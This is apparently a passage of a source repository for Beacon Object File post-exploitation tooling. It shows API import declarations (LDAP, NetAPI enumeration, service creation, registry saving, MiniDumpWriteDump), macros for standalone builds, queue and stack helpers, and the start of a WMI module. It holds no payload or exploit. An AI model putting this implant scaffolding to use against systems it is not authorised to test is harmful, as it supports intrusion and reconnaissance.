DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetAccessRights(IN LPVOID hCAInfo, IN DWORD dwContext, OUT DWORD *pdwAccessRights);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumCertTypesForCA(IN LPVOID hCAInfo, IN DWORD dwFlags, OUT LPVOID * phCertType);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumCertTypes(IN DWORD dwFlags, OUT LPVOID * phCertType);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumNextCertType(IN LPVOID hPrevCertType, OUT LPVOID * phCertType);
DECLSPEC_IMPORT DWORD WINAPI CERTCLI$CACountCertTypes(IN LPVOID hCertType);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACloseCertType(IN LPVOID hCertType);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeProperty(IN LPVOID hCertType, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypePropertyEx(IN LPVOID hCertType, IN LPCWSTR wszPropertyName, OUT LPVOID *pPropertyValue);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCertTypeProperty(IN LPVOID hCertType, IN PZPWSTR awszPropertyValue);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeExtensionsEx(IN LPVOID hCertType, IN DWORD dwFlags, IN LPVOID pParam, OUT PCERT_EXTENSIONS * ppCertExtensions);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCertTypeExtensions(IN LPVOID hCertType, IN PCERT_EXTENSIONS pCertExtensions);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeFlagsEx(IN LPVOID hCertType, IN DWORD dwOption, OUT DWORD * pdwFlags);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeExpiration(IN LPVOID hCertType, OUT OPTIONAL FILETIME * pftExpiration, OUT OPTIONAL FILETIME * pftOverlap);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACertTypeGetSecurity(IN LPVOID hCertType, OUT PSECURITY_DESCRIPTOR * ppSD);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeAccessRights(IN LPVOID hCertType, IN DWORD dwContext, OUT DWORD *pdwAccessRights);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$caTranslateFileTimePeriodToPeriodUnits(IN FILETIME const *pftGMT, IN BOOL Flags, OUT DWORD *pcPeriodUnits, OUT LPVOID*prgPeriodUnits);
*/











//dbghelp
DECLSPEC_IMPORT WINBOOL WINAPI DBGHELP$MiniDumpWriteDump(HANDLE hProcess,DWORD ProcessId,HANDLE hFile,MINIDUMP_TYPE DumpType,CONST PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,CONST PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,CONST PMINIDUMP_CALLBACK_INFORMATION CallbackParam);

//WLDAP32
WINLDAPAPI LDAP* LDAPAPI WLDAP32$ldap_init(PSTR, ULONG);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_bind_s(LDAP *ld,const PSTR  dn,const PCHAR cred,ULONG method);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_search_s(LDAP *ld,PSTR base,ULONG scope,PSTR filter,PZPSTR attrs,ULONG attrsonly,PLDAPMessage *res);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_entries(LDAP*,LDAPMessage*);
WINLDAPAPI struct berval **LDAPAPI WLDAP32$ldap_get_values_lenA (LDAP *ExternalHandle,LDAPMessage *Message,const PCHAR attr);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free_len(struct berval **vals);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_set_optionA(LDAP *ld,int option,const void *invalue);
WINLDAPAPI PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA(PLDAP ExternalHandle,const PCHAR DistinguishedName,ULONG ScopeOfSearch,const PCHAR SearchFilter,PCHAR AttributeList[],ULONG AttributesOnly,PLDAPControlA *ServerControls,PLDAPControlA *ClientControls,ULONG PageTimeLimit,ULONG TotalSizeLimit,PLDAPSortKeyA *SortKeys);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_paged_count(PLDAP ExternalHandle,PLDAPSearch SearchBlock,ULONG *TotalCount,PLDAPMessage Results);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_next_page_s(PLDAP ExternalHandle,PLDAPSearch SearchHandle,struct l_timeval *timeout,ULONG PageSize,ULONG *TotalCount,LDAPMessage **Results);

WINLDAPAPI LDAPMessage*  LDAPAPI WLDAP32$ldap_first_entry(LDAP *ld,LDAPMessage *res);
WINLDAPAPI LDAPMessage*  LDAPAPI WLDAP32$ldap_next_entry(LDAP*,LDAPMessage*);
WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_first_attribute(LDAP *ld,LDAPMessage *entry,BerElement **ptr);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_values(PCHAR);
WINLDAPAPI PCHAR * LDAPAPI WLDAP32$ldap_get_values(LDAP *ld,LDAPMessage *entry,const PSTR attr);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free(PCHAR *);
WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_next_attribute(LDAP *ld,LDAPMessage *entry,BerElement *ptr);
WINLDAPAPI VOID LDAPAPI WLDAP32$ber_free(BerElement *pBerElement,INT fbuf);
WINLDAPAPI VOID LDAPAPI WLDAP32$ldap_memfree(PCHAR);

WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind(LDAP*);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind_s(LDAP*);
WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_msgfree(LDAPMessage*);

//RPCRT4
RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(UUID *Uuid,RPC_CSTR *StringUuid);
RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(RPC_CSTR *String);

//PSAPI
DECLSPEC_IMPORT WINBOOL WINAPI PSAPI$EnumProcessModulesEx(HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded, DWORD dwFilterFlag);
DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize);

//VERSION
DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeA(LPCSTR lptstrFilenamea ,LPDWORD lpdwHandle);
DECLSPEC_IMPORT WINBOOL WINAPI VERSION$GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
DECLSPEC_IMPORT WINBOOL WINAPI VERSION$VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen);



#else


#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)
#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)

#define KERNEL32$VirtualAlloc  VirtualAlloc 
#define KERNEL32$VirtualFree  VirtualFree 
#define KERNEL32$LocalAlloc  LocalAlloc 
#define KERNEL32$LocalFree  LocalFree 
#define KERNEL32$HeapAlloc  HeapAlloc 
#define KERNEL32$HeapReAlloc  HeapReAlloc 
#define KERNEL32$GetProcessHeap GetProcessHeap
#define KERNEL32$HeapFree  HeapFree 
#define Kernel32$FormatMessageA  FormatMessageA 
#define Kernel32$WideCharToMultiByte  WideCharToMultiByte 
#define KERNEL32$FileTimeToLocalFileTime  FileTimeToLocalFileTime 
#define KERNEL32$FileTimeToSystemTime  FileTimeToSystemTime 
#define KERNEL32$GetDateFormatW  GetDateFormatW 
#define KERNEL32$GetSystemTimeAsFileTime  GetSystemTimeAsFileTime 
#define KERNEL32$GetLocalTime  GetLocalTime 
#define KERNEL32$SystemTimeToFileTime  SystemTimeToFileTime 
#define KERNEL32$SystemTimeToTzSpecificLocalTime  SystemTimeToTzSpecificLocalTime 
#define KERNEL32$GlobalMemoryStatusEx  GlobalMemoryStatusEx 
#define KERNEL32$GetDiskFreeSpaceExA  GetDiskFreeSpaceExA 
#define KERNEL32$GetCurrentProcess  GetCurrentProcess 
#define KERNEL32$GetCurrentProcessId GetCurrentProcessId
#define KERNEL32$GetLastError  GetLastError 
#define KERNEL32$CloseHandle  CloseHandle 
#define KERNEL32$CreateThread  CreateThread 
#define KERNEL32$GetTickCount  GetTickCount 
#define KERNEL32$GetTickCount64  GetTickCount64 
#define KERNEL32$CreateFiber  CreateFiber 
#define KERNEL32$ConvertThreadToFiber  ConvertThreadToFiber 
#define KERNEL32$ConvertFiberToThread  ConvertFiberToThread 
#define KERNEL32$DeleteFiber  DeleteFiber 
#define KERNEL32$SwitchToFiber  SwitchToFiber 
#define KERNEL32$WaitForSingleObject  WaitForSingleObject 
#define KERNEL32$Sleep  Sleep 
#define KERNEL32$DeleteFileW  DeleteFileW 
#define KERNEL32$CreateFileW  CreateFileW 
#define KERNEL32$GetFileSize  GetFileSize 
#define KERNEL32$ReadFile  ReadFile 
#define KERNEL32$OpenProcess  OpenProcess 
#define KERNEL32$GetComputerNameExW  GetComputerNameExW 
#define KERNEL32$lstrlenW  lstrlenW 
#define KERNEL32$lstrcatW  lstrcatW 
#define KERNEL32$lstrcpynW  lstrcpynW 
#define KERNEL32$GetFullPathNameW  GetFullPathNameW 
#define KERNEL32$GetFileAttributesW  GetFileAttributesW 
#define KERNEL32$GetCurrentDirectoryW  GetCurrentDirectoryW 
#define KERNEL32$FindFirstFileW  FindFirstFileW 
#define KERNEL32$FindNextFileW  FindNextFileW 
#define KERNEL32$FindFirstFileA  FindFirstFileA
#define KERNEL32$FindNextFileA  FindNextFileA 
#define KERNEL32$FindClose  FindClose 
#define KERNEL32$SetLastError  SetLastError 
#define KERNEL32$HeapAlloc HeapAlloc
#define KERNEL32$HeapReAlloc HeapReAlloc
#define KERNEL32$HeapFree HeapFree
#define MSVCRT$memset memset
#define KERNEL32$GlobalAlloc GlobalAlloc
#define KERNEL32$GlobalFree GlobalFree
#define KERNEL32$GetEnvironmentStrings GetEnvironmentStrings
#define KERNEL32$FreeEnvironmentStringsA FreeEnvironmentStringsA
#define KERNEL32$ExpandEnvironmentStringsW  ExpandEnvironmentStringsW 
#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot
#define KERNEL32$Process32First Process32First
#define KERNEL32$Process32Next Process32Next
#define KERNEL32$Module32First Module32First
#define KERNEL32$Module32Next Module32Next
#define KERNEL32$LoadLibraryA LoadLibraryA
#define KERNEL32$GetProcAddress GetProcAddress
#define KERNEL32$FreeLibrary FreeLibrary
#define KERNEL32$lstrlenA lstrlenA
#define KERNEL32$GetLocaleInfoEx GetLocaleInfoEx
#define KERNEL32$GetSystemDefaultLocaleName GetSystemDefaultLocaleName
#define KERNEL32$LocaleNameToLCID LocaleNameToLCID
#define KERNEL32$GetDateFormatEx GetDateFormatEx

#define WTSAPI32$WTSEnumerateSessionsA WTSEnumerateSessionsA
#define WTSAPI32$WTSQuerySessionInformationA WTSQuerySessionInformationA
#define WTSAPI32$WTSFreeMemory WTSFreeMemory
#define IPHLPAPI$GetAdaptersInfo  GetAdaptersInfo 
#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo
#define IPHLPAPI$GetIpForwardTable  GetIpForwardTable 
#define IPHLPAPI$GetNetworkParams GetNetworkParams
#define IPHLPAPI$GetUdpTable  GetUdpTable 
#define IPHLPAPI$GetTcpTable  GetTcpTable 
#define IPHLPAPI$GetIpNetTable GetIpNetTable
#define MSVCRT$calloc calloc
#define MSVCRT$memcpy memcpy
#define MSVCRT$memcmp memcmp
#define MSVCRT$realloc realloc
#define MSVCRT$free free
#define MSVCRT$memset memset
#define MSVCRT$sprintf sprintf
#define MSVCRT$vsnprintf vsnprintf
#define MSVCRT$_snwprintf _snwprintf
#define MSVCRT$wcscpy_s wcscpy_s
#define MSVCRT$wcslen wcslen
#define MSVCRT$wcstombs wcstombs
#define MSVCRT$sprintf  sprintf 
#define MSVCRT$wcscmp wcscmp
#define MSVCRT$wcstok wcstok
#define MSVCRT$wcstok_s wcstok_s
#define MSVCRT$wcsstr wcsstr
#define MSVCRT$wcscat wcscat
#define MSVCRT$wcsncat wcsncat
#define MSVCRT$wcscpy wcscpy
#define MSVCRT$_wcsicmp _wcsicmp
#define MSVCRT$wcschr wcschr
#define MSVCRT$wcsncat wcsncat
#define MSVCRT$wcsrchr wcsrchr
#define MSVCRT$wcsrchr wcsrchr
#define MSVCRT$wcstoul wcstoul
#define MSVCRT$strcat strcat
#define MSVCRT$strnlen strnlen
#define MSVCRT$strlen strlen
#define MSVCRT$strcmp strcmp
#define MSVCRT$strncmp strncmp
#define MSVCRT$_stricmp _stricmp
#define MSVCRT$strcpy strcpy
#define MSVCRT$strstr strstr
#define MSVCRT$strchr strchr
#define MSVCRT$strtok strtok
#define MSVCRT$strtok_s strtok_s
#define MSVCRT$strtoul strtoul
#define DNSAPI$DnsQuery_A DnsQuery_A
#define DNSAPI$DnsFree DnsFree
#define WSOCK32$inet_addr inet_addr
#define WS2_32$closesocket closesocket
#define WS2_32$connect connect
#define WS2_32$freeaddrinfo freeaddrinfo
#define WS2_32$getaddrinfo getaddrinfo
#define WS2_32$htonl htonl
#define WS2_32$htons htons
#define WS2_32$inet_ntoa inet_ntoa
#define WS2_32$ioctlsocket ioctlsocket
#define WS2_32$select select
#define WS2_32$socket socket
#define WS2_32$__WSAFDIsSet __WSAFDIsSet
#define WS2_32$WSAGetLastError WSAGetLastError
#define NETAPI32$DsGetDcNameA DsGetDcNameA
#define NETAPI32$NetUserGetInfo NetUserGetInfo
#define NETAPI32$NetUserModalsGet NetUserModalsGet
#define NETAPI32$NetServerEnum NetServerEnum
#define NETAPI32$NetUserGetGroups NetUserGetGroups
#define NETAPI32$NetUserGetLocalGroups NetUserGetLocalGroups
#define NETAPI32$NetApiBufferFree NetApiBufferFree
#define NETAPI32$NetGetAnyDCName NetGetAnyDCName
#define NETAPI32$NetUserEnum NetUserEnum
#define NETAPI32$NetGroupGetUsers NetGroupGetUsers
#define NETAPI32$NetQueryDisplayInformation NetQueryDisplayInformation
#define NETAPI32$NetLocalGroupEnum NetLocalGroupEnum
#define NETAPI32$NetLocalGroupGetMembers NetLocalGroupGetMembers
#define NETAPI32$NetUserSetInfo NetUserSetInfo
#define NETAPI32$NetShareEnum NetShareEnum
#define NETAPI32$NetWkstaUserEnum NetWkstaUserEnum
#define NETAPI32$NetWkstaGetInfo NetWkstaGetInfo
#define NETAPI32$NetStatisticsGet NetStatisticsGet
#define NETAPI32$NetApiBufferFree NetApiBufferFree
#define NETAPI32$NetSessionEnum NetSessionEnum
#define MPR$WNetOpenEnumW WNetOpenEnumW
#define MPR$WNetEnumResourceW WNetEnumResourceW
#define MPR$WNetCloseEnum WNetCloseEnum
#define MPR$WNetGetNetworkInformationW WNetGetNetworkInformationW
#define MPR$WNetGetConnectionW WNetGetConnectionW
#define MPR$WNetGetResourceInformationW WNetGetResourceInformationW
#define MPR$WNetGetUserW WNetGetUserW
#define MPR$WNetAddConnection2W WNetAddConnection2W
#define MPR$WNetCancelConnection2W WNetCancelConnection2W
#define USER32$EnumDesktopWindows EnumDesktopWindows
#define USER32$IsWindowVisible  IsWindowVisible 
#define USER32$GetWindowTextA GetWindowTextA
#define USER32$GetClassNameA GetClassNameA
#define USER32$CharPrevW CharPrevW
#define USER32$FindWindowExA FindWindowExA 
#define USER32$SendMessageA SendMessageA
#define USER32$GetWindowTextA GetWindowTextA
#define USER32$GetClassNameA GetClassNameA
#define USER32$EnumChildWindows EnumChildWindows
#define SECUR32$GetUserNameExA  GetUserNameExA 
#define SHLWAPI$StrStrIA StrStrIA
#define SHLWAPI$SHFormatDateTimeA SHFormatDateTimeA
#define ADVAPI32$OpenProcessToken  OpenProcessToken 
#define ADVAPI32$GetTokenInformation  GetTokenInformation 
#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA
#define ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW ConvertStringSecurityDescriptorToSecurityDescriptorW
#define ADVAPI32$LookupAccountSidA  LookupAccountSidA 
#define ADVAPI32$LookupAccountSidW  LookupAccountSidW
#define ADVAPI32$LookupPrivilegeNameA  LookupPrivilegeNameA 
#define ADVAPI32$LookupPrivilegeDisplayNameA  LookupPrivilegeDisplayNameA 
#define ADVAPI32$OpenSCManagerA OpenSCManagerA
#define ADVAPI32$OpenServiceA OpenServiceA
#define ADVAPI32$QueryServiceStatus QueryServiceStatus
#define ADVAPI32$QueryServiceConfigA QueryServiceConfigA
#define ADVAPI32$CloseServiceHandle CloseServiceHandle
#define ADVAPI32$EnumServicesStatusExA EnumServicesStatusExA
#define ADVAPI32$QueryServiceStatusEx QueryServiceStatusEx
#define ADVAPI32$QueryServiceConfig2A QueryServiceConfig2A
#define ADVAPI32$ChangeServiceConfig2A ChangeServiceConfig2A
#define ADVAPI32$ChangeServiceConfigA ChangeServiceConfigA
#define ADVAPI32$CreateServiceA CreateServiceA
#define ADVAPI32$DeleteService DeleteService
#define ADVAPI32$RegOpenKeyExW RegOpenKeyExW
#define ADVAPI32$EnumServicesStatusExW EnumServicesStatusExW
#define ADVAPI32$RegCreateKeyA RegCreateKeyA
#define ADVAPI32$RegSetValueExA RegSetValueExA
#define ADVAPI32$RegOpenKeyExA RegOpenKeyExA
#define ADVAPI32$RegConnectRegistryA RegConnectRegistryA
#define ADVAPI32$RegCloseKey RegCloseKey
#define ADVAPI32$RegOpenKeyA RegOpenKeyA
#define ADVAPI32$RegCreateKeyExA RegCreateKeyExA
#define ADVAPI32$RegDeleteKeyExA RegDeleteKeyExA
#define ADVAPI32$RegDeleteKeyValueA RegDeleteKeyValueA
#define ADVAPI32$RegQueryValueExA RegQueryValueExA
#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA
#define ADVAPI32$RegEnumValueA RegEnumValueA
#define ADVAPI32$RegEnumKeyExA RegEnumKeyExA
#define ADVAPI32$RegDeleteValueA RegDeleteValueA
#define ADVAPI32$RegQueryValueExW RegQueryValueExW
#define ADVAPI32$RegSaveKeyExA RegSaveKeyExA
#define ADVAPI32$GetFileSecurityW GetFileSecurityW 
#define ADVAPI32$GetSecurityDescriptorOwner GetSecurityDescriptorOwner
#define ADVAPI32$GetSecurityDescriptorDacl GetSecurityDescriptorDacl 
#define ADVAPI32$GetAclInformation GetAclInformation
#define ADVAPI32$GetAce GetAce 
#define ADVAPI32$LookupAccountSidW LookupAccountSidW 
#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW
#define ADVAPI32$MapGenericMask  MapGenericMask 
#define ADVAPI32$OpenProcessToken  OpenProcessToken 
#define ADVAPI32$GetTokenInformation  GetTokenInformation 
#define ADVAPI32$InitializeSecurityDescriptor  InitializeSecurityDescriptor 
#define ADVAPI32$SetSecurityDescriptorDacl  SetSecurityDescriptorDacl 
#define ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW ConvertSecurityDescriptorToStringSecurityDescriptorW
#define ADVAPI32$StartServiceA StartServiceA
#define ADVAPI32$ControlService ControlService
#define ADVAPI32$EnumDependentServicesA EnumDependentServicesA
#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA
#define NTDLL$NtCreateFile NtCreateFile
#define NTDLL$NtClose NtClose
#define IMAGEHLP$ImageEnumerateCertificates ImageEnumerateCertificates
#define IMAGEHLP$ImageGetCertificateHeader ImageGetCertificateHeader
#define IMAGEHLP$ImageGetCertificateData ImageGetCertificateData
#define CRYPT32$CryptVerifyMessageSignature  CryptVerifyMessageSignature 
#define CRYPT32$CertGetNameStringW  CertGetNameStringW 
#define CRYPT32$CertGetCertificateContextProperty CertGetCertificateContextProperty
#define CRYPT32$CertCreateCertificateContext  CertCreateCertificateContext
#define CRYPT32$CertFreeCertificateContext  CertFreeCertificateContext 
#define CRYPT32$CertGetCertificateChain CertGetCertificateChain
#define CRYPT32$CertFreeCertificateChain CertFreeCertificateChain
#define CRYPT32$CryptFindOIDInfo CryptFindOIDInfo
#define WS2_32$InetNtopW InetNtopW
#define WS2_32$inet_pton inet_pton
#define DNSAPI$DnsFree DnsFree
#define DNSAPI$DnsGetCacheDataTable DnsGetCacheDataTable
#define OLE32$CoInitializeEx  CoInitializeEx 
#define OLE32$CoUninitialize  CoUninitialize 
#define OLE32$CoInitializeSecurity  CoInitializeSecurity 
#define OLE32$CoCreateInstance  CoCreateInstance 
#define OLE32$CLSIDFromString  CLSIDFromString 
#define OLE32$IIDFromString  IIDFromString 
#define OLE32$StringFromGUID2 StringFromGUID2
#define OLE32$CoSetProxyBlanket CoSetProxyBlanket
#define OLE32$CoTaskMemAlloc CoTaskMemAlloc
#define OLE32$CoTaskMemFree CoTaskMemFree
#define OLEAUT32$SysAllocString SysAllocString
#define OLEAUT32$SysReAllocString SysReAllocString
#define OLEAUT32$SysFreeString SysFreeString
#define OLEAUT32$SysStringLen SysStringLen
#define OLEAUT32$VariantInit VariantInit
#define OLEAUT32$VariantClear VariantClear
#define OLEAUT32$SysAddRefString SysAddRefString
#define OLEAUT32$VariantChangeType VariantChangeType
#define OLEAUT32$VarFormatDateTime VarFormatDateTime
#define OLEAUT32$SafeArrayDestroy SafeArrayDestroy
#define OLEAUT32$SafeArrayLock SafeArrayLock
#define OLEAUT32$SafeArrayGetLBound SafeArrayGetLBound
#define OLEAUT32$SafeArrayGetUBound SafeArrayGetUBound
#define OLEAUT32$SafeArrayGetElement SafeArrayGetElement
#define OLEAUT32$SafeArrayGetElemsize SafeArrayGetElemsize
#define OLEAUT32$SafeArrayAccessData SafeArrayAccessData
#define OLEAUT32$SafeArrayUnaccessData SafeArrayUnaccessData




/*
#define CERTCLI$CAEnumFirstCA CAEnumFirstCA
#define CERTCLI$CAEnumNextCA CAEnumNextCA
#define CERTCLI$CACloseCA CACloseCA
#define CERTCLI$CACountCAs CACountCAs
#define CERTCLI$CAGetDN CAGetDN
#define CERTCLI$CAGetCAProperty CAGetCAProperty
#define CERTCLI$CAFreeCAProperty CAFreeCAProperty
#define CERTCLI$CAGetCAFlags CAGetCAFlags
#define CERTCLI$CAGetCACertificate CAGetCACertificate
#define CERTCLI$CAGetCAExpiration CAGetCAExpiration
#define CERTCLI$CAGetCASecurity CAGetCASecurity
#define CERTCLI$CAGetAccessRights CAGetAccessRights
#define CERTCLI$CAEnumCertTypesForCA CAEnumCertTypesForCA
#define CERTCLI$CAEnumCertTypes CAEnumCertTypes
#define CERTCLI$CAEnumNextCertType CAEnumNextCertType
#define CERTCLI$CACountCertTypes CACountCertTypes
#define CERTCLI$CACloseCertType CACloseCertType
#define CERTCLI$CAGetCertTypeProperty CAGetCertTypeProperty
#define CERTCLI$CAGetCertTypePropertyEx CAGetCertTypePropertyEx
#define CERTCLI$CAFreeCertTypeProperty CAFreeCertTypeProperty
#define CERTCLI$CAGetCertTypeExtensionsEx CAGetCertTypeExtensionsEx
#define CERTCLI$CAFreeCertTypeExtensions CAFreeCertTypeExtensions
#define CERTCLI$CAGetCertTypeFlagsEx CAGetCertTypeFlagsEx
#define CERTCLI$CAGetCertTypeExpiration CAGetCertTypeExpiration
#define CERTCLI$CACertTypeGetSecurity CACertTypeGetSecurity
#define CERTCLI$CAGetCertTypeAccessRights CAGetCertTypeAccessRights
#define CERTCLI$caTranslateFileTimePeriodToPeriodUnits caTranslateFileTimePeriodToPeriodUnits
*/



#define DBGHELP$MiniDumpWriteDump MiniDumpWriteDump
#define WLDAP32$ldap_init ldap_init
#define WLDAP32$ldap_bind_s ldap_bind_s
#define WLDAP32$ldap_search_s ldap_search_s
#define WLDAP32$ldap_count_entries ldap_count_entries
#define WLDAP32$ldap_get_values_lenA  ldap_get_values_lenA 
#define WLDAP32$ldap_value_free_len ldap_value_free_len
#define WLDAP32$ldap_set_optionA ldap_set_optionA
#define WLDAP32$ldap_search_init_pageA ldap_search_init_pageA
#define WLDAP32$ldap_get_paged_count ldap_get_paged_count
#define WLDAP32$ldap_get_next_page_s ldap_get_next_page_s
#define WLDAP32$ldap_first_entry ldap_first_entry
#define WLDAP32$ldap_next_entry ldap_next_entry
#define WLDAP32$ldap_first_attribute ldap_first_attribute
#define WLDAP32$ldap_count_values ldap_count_values
#define WLDAP32$ldap_get_values ldap_get_values
#define WLDAP32$ldap_value_free ldap_value_free
#define WLDAP32$ldap_next_attribute ldap_next_attribute
#define WLDAP32$ber_free ber_free
#define WLDAP32$ldap_memfree ldap_memfree
#define WLDAP32$ldap_unbind ldap_unbind
#define WLDAP32$ldap_unbind_s ldap_unbind_s
#define WLDAP32$ldap_msgfree ldap_msgfree
#define RPCRT4$UuidToStringA UuidToStringA
#define RPCRT4$RpcStringFreeA RpcStringFreeA
#define PSAPI$EnumProcessModulesEx EnumProcessModulesEx
#define PSAPI$GetModuleFileNameExA GetModuleFileNameExA
#define VERSION$GetFileVersionInfoSizeA GetFileVersionInfoSizeA
#define VERSION$GetFileVersionInfoA GetFileVersionInfoA
#define VERSION$VerQueryValueA VerQueryValueA
#define BeaconPrintf(x, y, ...) printf(y, ##__VA_ARGS__)
#define internal_printf printf
#endif


================================================
FILE: common/queue.c
================================================
#include "bofdefs.h"
//Not if anyone else adopts or looks at this
//Its not threadsafe
typedef struct _item{
    void * elem;
    struct _item * next;
}item, *Pitem;

typedef struct _queue{\
    Pitem head;
    Pitem tail;
    void (*push)(struct _queue *, void *);
    void * (*pop)(struct _queue *);
    void (*free)(struct _queue *);
}queue, *Pqueue;

void _push(Pqueue q, void * v)
{
    Pitem i = (Pitem)intAlloc(sizeof(item));
    i->elem = v;
    if(q->head == NULL && q->tail == NULL) // empty
    {
        q->head = i;
        q->tail = i;
        i->next = NULL;
    }else // not empty
    {
        q->tail->next = i;
        q->tail = i;
    }
}
void * _pop(Pqueue q)
{
    void * retval = NULL;
    Pitem i = NULL;
    if(q->head == NULL && q->tail == NULL) // empty
    {
        return NULL;
    }
    retval = q->head->elem; //scanbuild false positive
    if(q->head == q->tail) //last elem
    {
        intFree(q->head);
        q->head = NULL;
        q->tail = NULL;
    }
    else // not the last item
    {
        i = q->head;
        q->head = q->head->next;
        intFree(i);
    }
    return retval;
    
}

void _free(Pqueue q)
{
    intFree(q);
}

Pqueue queueInit()
{
    Pqueue q = (Pqueue)intAlloc(sizeof(queue));
    q->head = NULL;
    q->tail = NULL;
    q->push = _push;
    q->pop = _pop;
    q->free = _free;
    return q;
}

================================================
FILE: common/stack.c
================================================
#include "bofdefs.h"
//Note if anyone else adopts or looks at this
//Its not threadsafe
typedef struct _item{
    void * elem;
    struct _item * next;
    struct _item * prev;
}item, *Pitem;

typedef struct _stack{\
    Pitem head;
    Pitem tail;
    void (*push)(struct _stack *, void *);
    void * (*pop)(struct _stack *);
    void (*free)(struct _stack *);
}stack, *Pstack;

void _push(Pstack q, void * v)
{
    Pitem i = (Pitem)intAlloc(sizeof(item));
    i->elem = v;
    if(q->head == NULL && q->tail == NULL) // empty
    {
        q->head = i;
        q->tail = i;
        i->next = NULL;
        i->prev = NULL;
    }else // not empty
    {
        q->tail->next = i;
        i->prev = q->tail;
        q->tail = i;
    }
}
void * _pop(Pstack q)
{
    void * retval = NULL;
    Pitem i = NULL;
    if(q->head == NULL && q->tail == NULL) // empty
    {
        return NULL;
    }
    retval = q->tail->elem;
    if(q->head == q->tail) //last elem
    {
        intFree(q->head);
        q->head = NULL;
        q->tail = NULL;
    }
    else // not the last item
    {
        i = q->tail;
        q->tail = i->prev;
        intFree(i);
    }
    return retval;
    
}

void _free(Pstack q)
{
    intFree(q);
}


Pstack stackInit()
{
    Pstack q = (Pstack)intAlloc(sizeof(stack));
    q->head = NULL;
    q->tail = NULL;
    q->push = _push;
    q->pop = _pop;
    q->free = _free;
    return q;
}

================================================
FILE: common/wmi.c
================================================
#include <windows.h>
#include <stdio.h>
#include <oleauto.h>
#include <wbemcli.h>
#include <wchar.h>
#include <io.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include "beacon.h"
#include "bofdefs.h"
#include "wmi.h"

#define KEY_SEPARATOR			L" ,\t\n"
#define HEADER_ROW				0
#define WMI_QUERY_LANGUAGE		L"WQL"
#define WMI_NAMESPACE_CIMV2		L"root\\cimv2"
#define RESOURCE_FMT_STRING		L"\\\\%s\\%s"
#define RESOURCE_LOCAL_HOST		L"."
#define ERROR_RESULT			L"*ERROR*"
#define EMPTY_RESULT			L"(EMPTY)"
#define NULL_RESULT				L"(NULL)"

#define SAFE_DESTROY( arraypointer )	\
	if ( (arraypointer) != NULL )	\
	{	\
		OLEAUT32$SafeArrayDestroy(arraypointer);	\
		(arraypointer) = NULL;	\
	}
#define SAFE_RELEASE( interfacepointer )	\
	if ( (interfacepointer) != NULL )	\
	{	\
		(interfacepointer)->lpVtbl->Release(interfacepointer);	\
		(interfacepointer) = NULL;	\
	}
#define SAFE_FREE( string_ptr )	\
	if ( (string_ptr) != NULL )	\
	{	\
		OLEAUT32$SysFreeString(string_ptr);	\
		(string_ptr) = NULL;	\
	}



